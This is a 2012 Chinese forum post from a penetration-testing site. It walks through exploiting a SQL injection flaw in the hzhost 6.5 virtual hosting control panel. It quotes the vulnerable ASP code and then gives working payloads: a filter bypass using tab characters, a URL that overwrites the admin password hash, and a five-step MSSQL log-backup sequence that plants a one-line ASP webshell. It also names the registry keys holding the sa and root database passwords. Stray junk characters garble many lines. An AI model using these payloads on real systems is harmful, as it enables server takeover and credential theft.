中国网络渗透测试联盟

标题: 再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞 [打印本页]

作者: admin    时间: 2012-9-5 15:03
标题: 再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
7 K' U1 [7 D, \4 L+ [ 只讲两个要点。
% u" R' d/ d# d2 c% T第一,如何拿网站管理员权限。
; q/ G) U0 r- }2 f* ~. k6 U 第二,如何备份木马。
. W5 w" A" K" S* U- Q+ L+ }+ A/ e 这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。( v# U3 q: V) A
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
% S# O. J/ X! s% c, a3 UhttP://www.xxbing.com QQ178737315
+ Z9 ~7 [: w3 r( I9 u8 c5 @" }) ]. \由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。
1 @+ Y1 u% I( x/ I5 H. H------------开放浏览-------------
" U! Q( C, R  n! l' } 漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!8 O( B* L5 I. B& {" t. F  i, \
-------------------------13-15行----------------------------9 d& B/ P! n# T% |& ]7 `5 m( u
querytype=SafeRequest("querytype")  //saferequest函数接受数据
! t! j! y5 m8 U0 A( b% t; h if chk_int(querytype)=false then  //检查是否是整数/ d' W  l$ r0 M* ^- u' c, U# r$ H4 u
    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."
( n! ~; [. j) C. ^( O; h* I -------------------------37-42行---------------------------
5 F+ J3 i* d* [- i! Y3 n9 _- Q elseif querytype=5 then //如果类型为5。就接受qu1数据!
; D$ n+ B; M8 x& Y9 p6 c6 X5 `" A   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!
$ J  C/ n( g: a- `8 g! y* L   0 ]8 I8 B3 o8 T2 e1 T- S  b
    if  qu1="" then  //不能为空0 V: b# W2 T0 v6 X
         call errorpage(-2,"对不起,请选择参数!")! K, n+ q0 G7 A
   end if         : R& F5 r9 h* P* H+ f3 F
      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!
( r  C3 ?" A' D8 Q7 b1 v -------------------------62-65行---------------------------
- |1 I, ]% N( V% X qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据" \( C, Q; T: f+ A3 a* s
if qu7<>"" then
! ~+ l6 V  P* B+ v; ^qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!7 B8 V0 e5 O$ H' M# A4 c) z5 g% t( K
end if
7 H, x1 Z- [# m --------------------------117行-----------------------------
2 \1 G! }; c& Q2 `! y query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring . O# l! H. h4 d* ]; Z) _
//到这里就丢进去查询了!  Z7 ?8 @3 ^4 i1 z! {6 F9 g; K

- Z) u+ r6 |" \" W  X" ? 来看看saferequest()函数。( T1 p: ?' B6 V4 d7 a/ b
------------------incs/config.asp中-------------------------4 f7 T, X; v+ D) u" Q) a& P
Function SafeRequest(ParaName) % K! x5 a) e- Q+ a
Dim ParaValue % ^9 h: V: \7 R* U& K$ R" H
ParaValue=Request(ParaName)  //获取数据$ _! o, ?/ u1 S; @: u3 W- [3 n
if IsNumeric(ParaValue)  then  //如果是数字& J/ K& x3 ]. Z$ M
SafeRequest=ParaValue  //那就不过滤,直接赋值) b' |% m# M1 G
exit Function
# R1 k- c1 w& s( m' y% P+ J: C% ?. v+ A1 n1 s2 R
else* A8 ?( a6 n0 {8 Q7 j
ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写
9 W( f5 T( W; |) C tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
2 P$ s1 i! m8 R //定义要过滤的字符!5 z' _& s% F/ J$ W0 Z/ E
" m* Z- u5 @5 v: ]2 ~# ?
他过滤方式有问题。。。没有过滤 * / % / -- / ;. r" m' z2 i1 \' o0 U% I! g' l
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
. X7 p) E! M- }# ~( ~3 k# @4 Q$ D
temps=split(tempvalue,"|")           //转为一维数组  q5 `# z' B) U; `6 D8 S8 z+ K6 K
for mycount=0 to ubound(temps)       //循环读数组内数据% c2 v4 q+ B/ Y. S# f, `3 U/ X
if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。
, r. H2 [/ H- s$ g0 s" `                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!
2 c* {; C" E5 n) P                 response.end5 G  u1 ]8 q- n$ ?  S) o, `4 F/ ~8 ]
end if% Z& `/ d) t0 K
next
2 b0 u2 ^+ {" ?, S& s" ^( ? SafeRequest=ParaValue
& C& {, C$ Y7 C0 q1 O end if9 e7 V* e' {5 Y0 ]
End function, w/ S  d$ O6 Z, U. O
-------------------------------------
9 Z: Q0 h' _+ h4 z
( K  o- C4 V: Q. x, l 所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。
5 V8 k/ N. z4 ~7 f1 [ 先给出查询语句的框架。
* c" s* e! }. q! hselect * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc& T7 A. T0 k' @" i
6 |  O6 r/ K2 |% W
为了使语句顺利执行:5 H, Y3 ~/ f8 L: [" @+ U
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。
" _9 d2 C. E9 w" n; x. Y8 Q5 _ 这里我给出条示范语句,即{我们的语句}: B6 G3 {1 ]5 ]+ q  }
UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E
1 u% m( u0 P8 f: h2 s" l6 H- ?  A" ?5 D- p
这条语句能够绕过saferequest函数的检测。没有出现单引号。  D  Q0 v3 e1 _9 r6 H. G, S
我们提交:
, m- J% ]- ^* ?8 |$ Hhttp://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
% l* ], O9 v9 N& n; g. j1 q& g+ `$ @
这句话就能够将admin的密码修改成123456
! Z* b( {% r' Y; ~ 到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。$ ^6 C: u9 B# X
第二步是要备份挂马。
+ l1 ^3 a' u! r+ e* s 大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(8 }( F# a2 T# c; ]0 p
导致备马的这条语句失败。0 v" i  Y. H* E# `
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。4 D7 w6 e+ g$ u
, q2 I( J8 a5 Q- J9 ]1 p6 F2 o
有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
9 R7 B* Z. U2 ]: @9 P3 G 由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
4 A5 {$ E- z  f 接下来放出详细语句。大家放入{我们的语句中}; t' J1 L- c: o5 J$ X( R' E% j
第 一 步:
) B  q( ~: {% z create table [dbo].[shit_tmp] ([cmd] [image])--3 f6 Y) f9 v  M/ J
第 二 步0 y; o; L9 N. Q& C, l) k8 q
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
/ s& b- Z% o; h 第 三 步) M6 o1 x2 j8 w
insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
. y% ]7 p* l4 P* T% V 第 四 步
! Q5 [6 ^) I; Z2 F declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--2 x$ v3 {, R8 H( I' Q) r$ o
第 五 步1 w/ p) [& s: m: O1 d5 x3 U6 E
Drop table [shit_tmp]--4 D9 J, g. m0 B/ q% P6 M
9 d$ p# E% ?3 @% o# W5 y6 z
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。3 |) w( M! l, G: g2 t' Q
一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
! y' S; J1 G5 l 请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》$ y  q/ o2 B% [9 f  Z9 c5 j
. B( y1 y( N$ y3 f+ _
最后是答疑部分:
: [' k2 F% Q3 y 1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
' e5 i+ z% i; J2 i% y; F, t8 t  M
& O8 N, W4 @$ C4 ^# p 2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
4 J  ]9 ~- R4 L$ ^9 L 这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:7 \4 h3 H% E( c) T9 y" t
0x65313061646333393439626135396162626535366530353766323066383833655 P" c+ Q3 `( g6 r8 R
大家仔细观察,会发现,其实只是去掉了一些00。。7 }# s4 v4 E$ _4 x+ g8 S, d% m6 `
所以大家在转换其他md5的时候,注意此问题。  F* o( s0 i. h& v3 O9 j6 L5 Y% ]& L

9 b8 K  y% f$ c 3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。: R! z# p- W8 g7 b! Z' |4 K5 n
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
4 w. `/ D( Z. Y+ v- B; c5 H" c
0 I- c3 \/ {1 n& ^$ c 4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。
' w: }" u1 C9 q$ v( N8 T 有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
! S! y. T, F: v7 Q& W4 x4 d( ?
8 S$ _0 W5 O" O 5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。; M7 V. S: c. L0 [' j% u0 ^0 \
9 X+ {' `- O) U' n9 o
6::4 I& F' x3 B& C6 r% T( H
sa密码。root密码。
8 U) p/ e2 |' a% M2 Z' `9 g HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
% k/ I) m4 e8 Q" k; m mysqlpass---root密码
. _4 z/ x) H2 }1 _9 \5 E9 {! r mssqlpss----sa密码
: u; i3 T' D0 n  K8 }; A
9 Y# F" w1 C' u9 p; J6 v3 `0 x, k* b" U7 q1 M8 @5 x7 m
7.如果路径不在D:/hzhost
7 ~; N3 D5 E% e9 L! K% A. W* a 那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。  Q' x6 ^6 c* @4 N- k
或者去读注册表。
/ _9 A! D( u3 h$ j9 {+ ?. z% D HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下
& M8 z0 N) G' U "wwwrootpath"="e:\\wwwroot"# l; [' e4 b+ V8 o
"urlsiteroot"="D:\\hzhost\\hzhost_url"( J1 B+ `2 G4 S( D
"ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)
  x8 R- A6 Q/ H) @9 r# r9 m 大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!7 j. `3 Z1 |2 X/ x7 N0 S

' j  o% i; t) X, G6 o* S9 x/ h  w3 K 利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)
9 H9 |" d1 M0 q6 X+ ]hzhost最新漏洞.rar9 F9 q' ^) b/ [8 i7 b; b
饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!7 E6 e( T' n; l, w( E

/ i8 E8 t) B3 K' p 最后,还是版权。
3 ^  l  F$ ]+ t/ Hhttp://www.xxbing.com QQ178737315
, P7 n8 v; A. L- h4 X# l 允许自由转载。但请注明作者。




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2